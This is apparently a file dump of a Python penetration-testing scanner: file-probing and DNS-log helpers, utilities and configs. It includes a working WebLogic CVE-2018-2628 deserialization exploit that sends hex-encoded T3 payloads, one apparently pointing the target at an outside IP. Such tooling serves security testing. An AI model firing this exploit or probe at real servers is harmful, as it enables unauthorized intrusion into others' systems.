2 | # @Time : 2018/4/24 下午2:21
3 | # @author : Xmchx
4 | # @File : weakfile.py
5 |
6 | import requests
7 | from collections import OrderedDict
8 | from kunscanner.lib.core.data import path
9 | from kunscanner.lib.utils.utils import GetNetloc,LoadDict,CheckTargetAccess
10 | from kunscanner.lib.core.exception import PocWarningException
11 | from kunscanner.lib.core.enums import SCRIPT_LEVEL
12 |
13 | dict_path = path.DICT_PATH + 'weak_file'
14 |
15 | def Info():
16 | poc_info = OrderedDict()
17 | poc_info['name'] = "weakfile"
18 | poc_info['info'] = "weak file scan. backup file/.git/svn and others"
19 | poc_info['title'] = u'敏感文件测试'
20 | poc_info['author'] = "Xmchx"
21 | poc_info['time'] = "2018.04.24"
22 | poc_info['type'] = 'info'
23 | poc_info['level'] = SCRIPT_LEVEL.LOW
24 | return poc_info
25 |
26 |
27 | def Poc(url):
28 | init_url = url
29 | result = {}
30 | try:
31 | data = ''
32 | url = GetNetloc(url,True)
33 | if CheckTargetAccess(url):
34 | files = LoadDict(dict_path)
35 | for file in files:
36 | try:
37 | file = file.strip()
38 | res = requests.get(url[0:-1]+file, timeout=3)
39 | except:
40 | continue
41 | if str(res.status_code).startswith('2'):
42 | data = data+'\n'+file+': '+str(res.status_code)
43 | if data:
44 | result['weak_file'] = data
45 | return result
46 | except Exception,e:
47 | raise PocWarningException(init_url,Info()['name'],repr(e))
--------------------------------------------------------------------------------
/kunscanner/lib/scripts/weblogic/weblogic_2628.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/5/1 下午3:09
3 | # @author : Xmchx
4 | # @File : weblogic_2628.py
5 |
6 |
7 | import re
8 | import socket
9 | import time
10 | from collections import OrderedDict
11 | from kunscanner.lib.utils.utils import GetNetloc,DomainToIP
12 | from kunscanner.lib.core.exception import PocWarningException
13 | from kunscanner.lib.core.enums import SCRIPT_LEVEL
14 |
15 |
16 | def Info():
17 | poc_info = OrderedDict()
18 | poc_info['name'] = "weblogic_2628"
19 | poc_info['info'] = "weblogic remote command execution vulnerability (CVE-2018-2628)"
20 | poc_info['title'] = u'Weblogic远程命令执行(CVE-2018-2628)'
21 | poc_info['author'] = "brianwrf"
22 | poc_info['time'] = "2018.05.01"
23 | poc_info['type'] = 'attack'
24 | poc_info['level'] = SCRIPT_LEVEL.HIGH
25 | return poc_info
26 |
27 |
28 | def Poc(url):
29 | init_url = url
30 | result = {}
31 | result['success'] = False
32 | result['message'] = ''
33 | socket.setdefaulttimeout(15)
34 |
35 | if ':' in GetNetloc(url):
36 | dport = int(GetNetloc(url).split(':')[1])
37 | else:
38 | dport = 7001
39 | ip = DomainToIP(GetNetloc(url))
40 | if ip == None:
41 | return result
42 | if ':' in ip:
43 | dip = ip.split(':')[0]
44 | else:
45 | dip = ip
46 |
47 | try:
48 | index = 0
49 | PAYLOAD = ['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078']
50 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
51 | server_addr = (dip, dport)
52 | t3handshake(sock, server_addr)
53 | buildT3RequestObject(sock, dport)
54 | rs = sendEvilObjData(sock, PAYLOAD[index])
55 | if checkVul(rs,index):
56 | result['success'] = True
57 | return result
58 | except Exception,e:
59 | raise PocWarningException(init_url,Info()['name'],repr(e))
60 |
61 |
62 | def t3handshake(sock,server_addr):
63 | sock.connect(server_addr)
64 | sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
65 | time.sleep(1)
66 | sock.recv(1024)
67 |
68 | def buildT3RequestObject(sock,port):
69 | data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
70 | data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(port))
71 | data3 = '1a7727000d3234322e323134'
72 | data4 = '2e312e32353461863d1d0000000078'
73 | for d in [data1,data2,data3,data4]:
74 | sock.send(d.decode('hex'))
75 | time.sleep(2)
76 |
77 |
78 | def sendEvilObjData(sock,data):
79 | payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
80 | payload+=data
81 | payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
82 | payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
83 | sock.send(payload.decode('hex'))
84 | time.sleep(2)
85 | sock.send(payload.decode('hex'))
86 | res = ''
87 | try:
88 | i = 0
89 | while i < 10:
90 | i = i + 1
91 | res += sock.recv(4096)
92 | time.sleep(0.1)
93 | except:
94 | pass
95 | return res
96 |
97 | def checkVul(res,index):
98 | VER_SIG = ['\\$Proxy[0-9]+']
99 | p=re.findall(VER_SIG[index], res, re.S)
100 | if len(p)>0:
101 | return True
102 | else:
103 | return False
104 |
105 |
106 |
--------------------------------------------------------------------------------
/kunscanner/lib/utils/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/24 下午3:07
3 | # @author : Xmchx
4 | # @File : __init__.py.py
--------------------------------------------------------------------------------
/kunscanner/lib/utils/ceye.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/4/30 下午12:09
3 | # @author : Xmchx
4 | # @File : ceye.py
5 |
6 |
7 | import requests
8 | import json
9 | from kunscanner.lib.core.data import conf
10 |
11 | def CeyeApi(filter, query_type = 'dns'):
12 | url = 'http://api.ceye.io/v1/records?token='+conf.CEYE_TOKEN+'&type='+query_type+'&filter='+filter
13 | try:
14 | res = requests.get(url)
15 | except Exception,e:
16 | return False
17 | result = json.loads(res.text)['data']
18 | if len(result) == 0:
19 | return False
20 | else:
21 | return result
22 |
--------------------------------------------------------------------------------
/kunscanner/lib/utils/terminalsize.py:
--------------------------------------------------------------------------------
1 | # use https://gist.github.com/jtriley/1108174
2 | # !/usr/bin/env python
3 | import os
4 | import shlex
5 | import struct
6 | import platform
7 | import subprocess
8 |
9 |
10 | def get_terminal_size():
11 | """ getTerminalSize()
12 | - get width and height of console
13 | - works on linux,os x,windows,cygwin(windows)
14 | originally retrieved from:
15 | http://stackoverflow.com/questions/566746/how-to-get-console-window-width-in-python
16 | """
17 | current_os = platform.system()
18 | tuple_xy = None
19 | if current_os == 'Windows':
20 | tuple_xy = _get_terminal_size_windows()
21 | if tuple_xy is None:
22 | tuple_xy = _get_terminal_size_tput()
23 | # needed for window's python in cygwin's xterm!
24 | if current_os in ['Linux', 'Darwin'] or current_os.startswith('CYGWIN'):
25 | tuple_xy = _get_terminal_size_linux()
26 | if tuple_xy is None:
27 | print "default"
28 | tuple_xy = (80, 25) # default value
29 | return tuple_xy
30 |
31 |
32 | def _get_terminal_size_windows():
33 | try:
34 | from ctypes import windll, create_string_buffer
35 | # stdin handle is -10
36 | # stdout handle is -11
37 | # stderr handle is -12
38 | h = windll.kernel32.GetStdHandle(-12)
39 | csbi = create_string_buffer(22)
40 | res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi)
41 | if res:
42 | (bufx, bufy, curx, cury, wattr,
43 | left, top, right, bottom,
44 | maxx, maxy) = struct.unpack("hhhhHhhhhhh", csbi.raw)
45 | sizex = right - left + 1
46 | sizey = bottom - top + 1
47 | return sizex, sizey
48 | except:
49 | pass
50 |
51 |
52 | def _get_terminal_size_tput():
53 | # get terminal width
54 | # src: http://stackoverflow.com/questions/263890/how-do-i-find-the-width-height-of-a-terminal-window
55 | try:
56 | cols = int(subprocess.check_call(shlex.split('tput cols')))
57 | rows = int(subprocess.check_call(shlex.split('tput lines')))
58 | return (cols, rows)
59 | except:
60 | pass
61 |
62 |
63 | def _get_terminal_size_linux():
64 | def ioctl_GWINSZ(fd):
65 | try:
66 | import fcntl
67 | import termios
68 | cr = struct.unpack('hh',
69 | fcntl.ioctl(fd, termios.TIOCGWINSZ, '1234'))
70 | return cr
71 | except:
72 | pass
73 |
74 | cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2)
75 | if not cr:
76 | try:
77 | fd = os.open(os.ctermid(), os.O_RDONLY)
78 | cr = ioctl_GWINSZ(fd)
79 | os.close(fd)
80 | except:
81 | pass
82 | if not cr:
83 | try:
84 | cr = (os.environ['LINES'], os.environ['COLUMNS'])
85 | except:
86 | return None
87 | return int(cr[1]), int(cr[0])
88 |
--------------------------------------------------------------------------------
/kunscanner/lib/utils/utils.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/24 下午2:55
3 | # @author : Xmchx
4 | # @File : utils.py
5 | import os
6 | import ConfigParser
7 | import random
8 | import re
9 | import socket
10 | import string
11 | import urlparse
12 | import requests
13 | # 会与werkzeug冲突
14 | #socket.setdefaulttimeout(5)
15 |
16 | def CheckFileExists(file_path):
17 | return os.path.exists(file_path)
18 |
19 |
20 | def CheckPathAccess(path):
21 | return os.access(path,os.W_OK)
22 |
23 | class GetConfig(ConfigParser.ConfigParser):
24 | def __init__(self, defaults=None):
25 | ConfigParser.ConfigParser.__init__(self, defaults=defaults)
26 |
27 | def optionxform(self, options):
28 | return options
29 |
30 | def GetUserAgent():
31 | user_agents = [
32 | "Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_2 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8H7 Safari/6533.18.5",
33 | "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_2 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8H7 Safari/6533.18.5",
34 | "MQQBrowser/25 (Linux; U; 2.3.3; zh-cn; HTC Desire S Build/GRI40;480*800)",
35 | "Mozilla/5.0 (Linux; U; Android 2.3.3; zh-cn; HTC_DesireS_S510e Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
36 | "Mozilla/5.0 (SymbianOS/9.3; U; Series60/3.2 NokiaE75-1 /110.48.125 Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413",
37 | "Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Mobile/8J2",
38 | "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30",
39 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1",
40 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/534.51.22 (KHTML, like Gecko) Version/5.1.1 Safari/534.51.22",
41 | "Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A5313e Safari/7534.48.3",
42 | "Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A5313e Safari/7534.48.3",
43 | "Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A5313e Safari/7534.48.3",
44 | "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1",
45 | "Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; SAMSUNG; OMNIA7)",
46 | "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; XBLWP7; ZuneWP7)",
47 | "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30",
48 | "Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0",
49 | "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)",
50 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)",
51 | "Mozilla/4.0 (compatible; MSIE 60; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
52 | "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
53 | "Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.9.168 Version/11.50",
54 | "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
55 | "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)",
56 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1",
57 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12",
58 | "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; TheWorld)"]
59 | ua = random.sample(user_agents, 1)
60 | return ua[0]
61 |
62 | def GetHeader():
63 | ua = GetUserAgent()
64 | header = {
65 | 'user-agent':ua
66 | }
67 | return header
68 |
69 |
70 | def RandomString(length = 8):
71 | return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))
72 |
73 |
74 | def FuzzAction(url):
75 | action_list = ['index.action','login.action','index.do','login.do']
76 | result_list = []
77 | regex_action = r"(.*?)(\.action|\.do)"
78 | if '.do' in url or '.action' in url:
79 | result_list.append(re.match(re.compile(regex_action),url).group())
80 | return result_list
81 | url = GetNetloc(url,True)
82 | for each in action_list:
83 | result_list.append(urlparse.urljoin(url, each))
84 | return result_list
85 |
86 | def AddScheme(url):
87 | if url.startswith('http://') or url.startswith('https://'):
88 | return url
89 | else:
90 | return 'http://'+url
91 |
92 | def GetNetloc(url, scheme = False):
93 | # 0: 返回不带有http://
94 | # 其他:返回 scheme+netloc
95 | scheme_url = AddScheme(url)
96 | up = urlparse.urlparse(scheme_url)
97 | if scheme == False:
98 | return up.netloc
99 | else:
100 | return up.scheme+'://'+up.netloc+'/'
101 |
102 |
103 | def DomainToIP(domain):
104 | if ':' in domain:
105 | domain = domain.split(':')[0]
106 | if CheckIP(domain):
107 | return domain
108 | try:
109 | ip = socket.getaddrinfo(domain,None)[0][4]
110 | except:
111 | return None
112 | return ip[0]
113 |
114 | def CheckIP(ip):
115 | if ':' in ip:
116 | ip = ip.split(':')[0]
117 | regex = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')
118 | if regex.match(ip):
119 | return True
120 | else:
121 | return False
122 |
123 | def DelPort(ip):
124 | if ':' in ip:
125 | return ip.split(':')[0]
126 | else:
127 | return ip
128 |
129 |
130 | def LoadDict(file_path):
131 | data = []
132 | with open(file_path,'r') as f:
133 | fdata = f.readlines()
134 | for line in fdata:
135 | if line:
136 | data.append(line.strip())
137 | return data
138 |
139 | def CheckTargetAccess(url):
140 | for i in range(5):
141 | try:
142 | requests.get(url,timeout= 3)
143 | return True
144 | except Exception,e:
145 | continue
146 | return False
147 |
148 | def CheckPort(target, port, timeout=3):
149 | sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
150 | sk.settimeout(timeout)
151 | try:
152 | sk.connect((target, port))
153 | return True
154 | except Exception:
155 | return False
--------------------------------------------------------------------------------
/kunscanner/log/.gitignore:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SPuerBRead/kun/68b699c6ecf91b2ce935ec82eee73cf740f0ddb5/kunscanner/log/.gitignore
--------------------------------------------------------------------------------
/kunscanner/result/.gitignore:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SPuerBRead/kun/68b699c6ecf91b2ce935ec82eee73cf740f0ddb5/kunscanner/result/.gitignore
--------------------------------------------------------------------------------
/kunscanner/scanner.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/24 下午2:15
3 | # @author : Xmchx
4 | # @File : scanner.py
5 |
6 |
7 | from lib.core.enums import SCANNER_MODE
8 | from lib.core.common import GetSystemType,SysQuit
9 | from lib.core.log import SetLogger
10 | from lib.core import SetConfig, SetPath, SetArgs
11 | from lib.parse.cmdline import CmdLineParser
12 | from lib.core.exception import LoadConfException
13 | from lib.core.argsparse import SetOptions
14 |
15 |
16 | def Init():
17 | try:
18 | GetSystemType()
19 | SetLogger()
20 | SetPath()
21 | SetConfig()
22 | except LoadConfException:
23 | SysQuit()
24 |
25 |
26 | def Main(scanner_mode, scan_args=None):
27 | Init()
28 | data = None
29 | from lib.core.exception import ArgsException, DatabaseException
30 | try:
31 | if scanner_mode == SCANNER_MODE.CONSOLE:
32 | SetArgs(scanner_mode, CmdLineParser())
33 | else:
34 | SetArgs(scanner_mode, scan_args)
35 | SetOptions()
36 | from lib.controller.controller import Engine
37 | engine = Engine()
38 | data = engine.Run()
39 |
40 | except ArgsException:
41 | SysQuit(1)
42 | except DatabaseException:
43 | SysQuit()
44 | return data
45 |
--------------------------------------------------------------------------------
/kunscanner/webapi.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/24 下午2:31
3 | # @author : Xmchx
4 | # @File : webapi.py
5 |
6 | import os
7 | import ConfigParser
8 | from kunscanner.scanner import Main as RunScanner
9 |
10 | '''
11 | 选中全部脚本扫描
12 | all_scripts=False
13 |
14 | api获取的最大数目
15 | api_max_number=None
16 |
17 | 自定义加载扫描脚本
18 | custom_scripts='unauth*'
19 |
20 | 使用默认的扫描脚本,还没开发完
21 | default_scripts=False,
22 |
23 | IP段类型的目标,可以接受{192.168.0.1-10,192.168.0.1-192.168.1.1.192.168.0.0/24}
24 | ip_segment=None
25 |
26 | 扫描结果的输出文件名,可不填,为空时文件名为扫描结束时间
27 | output_file_name=None
28 |
29 | 显示当前可用的所有插件信息
30 | all_scripts_info=False
31 |
32 | 显示指定的插件信息
33 | custom_scripts_info=None
34 |
35 | 从爬虫获取目标,值为爬虫的起始域名
36 | spider_init_url=None
37 |
38 | 从文本文件加载目标
39 | target_file=None
40 |
41 | 指定本次扫描的任务名,只在使用数据库作为存储是有效
42 | task_name=None,
43 |
44 | 单独一个url的扫描
45 | url='127.0.0.1',
46 |
47 | 使用zoomeye获取目标,值为zoomeye的搜索关键字
48 | zoomeye=None
49 | '''
50 |
51 | def NewScan(args):
52 | '''
53 | example:
54 | args = {
55 | "all_scripts":False,
56 | "api_max_number":None,
57 | "custom_scripts":'unauth*',
58 | "default_scripts":False,
59 | "ip_segment":None,
60 | "output_file_name":None,
61 | "all_scripts_info":False,
62 | "custom_scripts_info":None,
63 | "spider_init_url":None,
64 | "target_file":None,
65 | "task_name":None,
66 | "url":'127.0.0.1',
67 | "zoomeye":None
68 | }
69 | '''
70 | RunScanner('web',args)
71 |
72 |
73 | def ScriptsInfo():
74 | args = {
75 |
76 | "all_scripts":False,
77 |
78 | "max_number":None,
79 |
80 | "custom_scripts":None,
81 |
82 | "ip_segment":None,
83 |
84 | "output_file_name":None,
85 |
86 | "custom_scripts_info":None,
87 |
88 | "all_scripts_info":True,
89 |
90 | "spider_init_url":None,
91 |
92 | "target_file":None,
93 |
94 | "url":None,
95 |
96 | "zoomeye":None,
97 |
98 | "baidu":None,
99 |
100 | "task_id":None,
101 |
102 | "update_script_info":False,
103 |
104 | "task_name":None,
105 |
106 | "zoomeye_search_type":None,
107 |
108 | "subdomain":None,
109 |
110 | "search_script": None,
111 |
112 | "custom_scripts_info":None
113 | }
114 | return RunScanner('web',args)
115 |
116 |
117 | def APIInfo():
118 | api_list = []
119 | api_path = os.path.dirname(os.path.realpath(__file__))+'//lib//api//'
120 | for root, dirs, files in os.walk(api_path):
121 | for file in files:
122 | if '__init__' not in file and 'pyc' not in file and 'pyo' not in file and 'py' in file:
123 | api_list.append(file.split('.')[0])
124 | return api_list
125 |
126 |
--------------------------------------------------------------------------------
/requirements_all.txt:
--------------------------------------------------------------------------------
1 | Flask==1.0
2 | requests==2.20.0
3 | Werkzeug==0.15.3
4 | flask_mongoengine==0.8
5 | prettytable==0.7.2
6 | pymongo==3.4.0
7 | paramiko==2.4.2
8 | celery==3.1.25
9 | mongoengine==0.10.7
10 | coloredlogs==9.0
11 | Flask_Login==0.4.0
12 | tldextract==2.2.0
13 | IPy==0.83
14 | gevent==1.2.2
15 | redis==2.10.6
16 | gunicorn==19.6.0
17 | supervisor==3.3.4
--------------------------------------------------------------------------------
/requirements_cli.txt:
--------------------------------------------------------------------------------
1 | requests==2.20.0
2 | prettytable==0.7.2
3 | pymongo==3.4.0
4 | paramiko==2.4.2
5 | mongoengine==0.10.7
6 | coloredlogs==9.0
7 | tldextract==2.2.0
8 | IPy==0.83
9 | redis==2.10.6
--------------------------------------------------------------------------------
/supervisord.conf:
--------------------------------------------------------------------------------
1 | ; Sample supervisor config file.
2 | ;
3 | ; For more information on the config file, please see:
4 | ; http://supervisord.org/configuration.html
5 | ;
6 | ; Notes:
7 | ; - Shell expansion ("~" or "$HOME") is not supported. Environment
8 | ; variables can be expanded using this syntax: "%(ENV_HOME)s".
9 | ; - Quotes around values are not supported, except in the case of
10 | ; the environment= options as shown below.
11 | ; - Comments must have a leading space: "a=b ;comment" not "a=b;comment".
12 | ; - Command will be truncated if it looks like a config file comment, e.g.
13 | ; "command=bash -c 'foo ; bar'" will truncate to "command=bash -c 'foo ".
14 |
15 | [unix_http_server]
16 | file=/tmp/supervisor.sock ; the path to the socket file
17 | ;chmod=0700 ; socket file mode (default 0700)
18 | ;chown=nobody:nogroup ; socket file uid:gid owner
19 | ;username=user ; default is no username (open server)
20 | ;password=123 ; default is no password (open server)
21 |
22 | ;[inet_http_server] ; inet (TCP) server disabled by default
23 | ;port=127.0.0.1:9001 ; ip_address:port specifier, *:port for all iface
24 | ;username=user ; default is no username (open server)
25 | ;password=123 ; default is no password (open server)
26 |
27 | [supervisord]
28 | logfile=/tmp/supervisord.log ; main log file; default $CWD/supervisord.log
29 | logfile_maxbytes=50MB ; max main logfile bytes b4 rotation; default 50MB
30 | logfile_backups=10 ; # of main logfile backups; 0 means none, default 10
31 | loglevel=info ; log level; default info; others: debug,warn,trace
32 | pidfile=/tmp/supervisord.pid ; supervisord pidfile; default supervisord.pid
33 | nodaemon=false ; start in foreground if true; default false
34 | minfds=1024 ; min. avail startup file descriptors; default 1024
35 | minprocs=200 ; min. avail process descriptors;default 200
36 | ;umask=022 ; process file creation umask; default 022
37 | ;user=chrism ; default is current user, required if root
38 | ;identifier=supervisor ; supervisord identifier, default is 'supervisor'
39 | ;directory=/tmp ; default is not to cd during start
40 | ;nocleanup=true ; don't clean up tempfiles at start; default false
41 | ;childlogdir=/tmp ; 'AUTO' child log dir, default $TEMP
42 | ;environment=KEY="value" ; key value pairs to add to environment
43 | ;strip_ansi=false ; strip ansi escape codes in logs; def. false
44 |
45 | ; The rpcinterface:supervisor section must remain in the config file for
46 | ; RPC (supervisorctl/web interface) to work. Additional interfaces may be
47 | ; added by defining them in separate [rpcinterface:x] sections.
48 |
49 | [rpcinterface:supervisor]
50 | supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface
51 |
52 | ; The supervisorctl section configures how supervisorctl will connect to
53 | ; supervisord. configure it match the settings in either the unix_http_server
54 | ; or inet_http_server section.
55 |
56 | [supervisorctl]
57 | serverurl=unix:///tmp/supervisor.sock ; use a unix:// URL for a unix socket
58 | ;serverurl=http://127.0.0.1:9001 ; use an http:// url to specify an inet socket
59 | ;username=chris ; should be same as in [*_http_server] if set
60 | ;password=123 ; should be same as in [*_http_server] if set
61 | ;prompt=mysupervisor ; cmd line prompt (default "supervisor")
62 | ;history_file=~/.sc_history ; use readline history if available
63 |
64 | ; The sample program section below shows all possible program subsection values.
65 | ; Create one or more 'real' program: sections to be able to control them under
66 | ; supervisor.
67 |
68 | ;[program:theprogramname]
69 | ;command=/bin/cat ; the program (relative uses PATH, can take args)
70 | ;process_name=%(program_name)s ; process_name expr (default %(program_name)s)
71 | ;numprocs=1 ; number of processes copies to start (def 1)
72 | ;directory=/tmp ; directory to cwd to before exec (def no cwd)
73 | ;umask=022 ; umask for process (default None)
74 | ;priority=999 ; the relative start priority (default 999)
75 | ;autostart=true ; start at supervisord start (default: true)
76 | ;startsecs=1 ; # of secs prog must stay up to be running (def. 1)
77 | ;startretries=3 ; max # of serial start failures when starting (default 3)
78 | ;autorestart=unexpected ; when to restart if exited after running (def: unexpected)
79 | ;exitcodes=0,2 ; 'expected' exit codes used with autorestart (default 0,2)
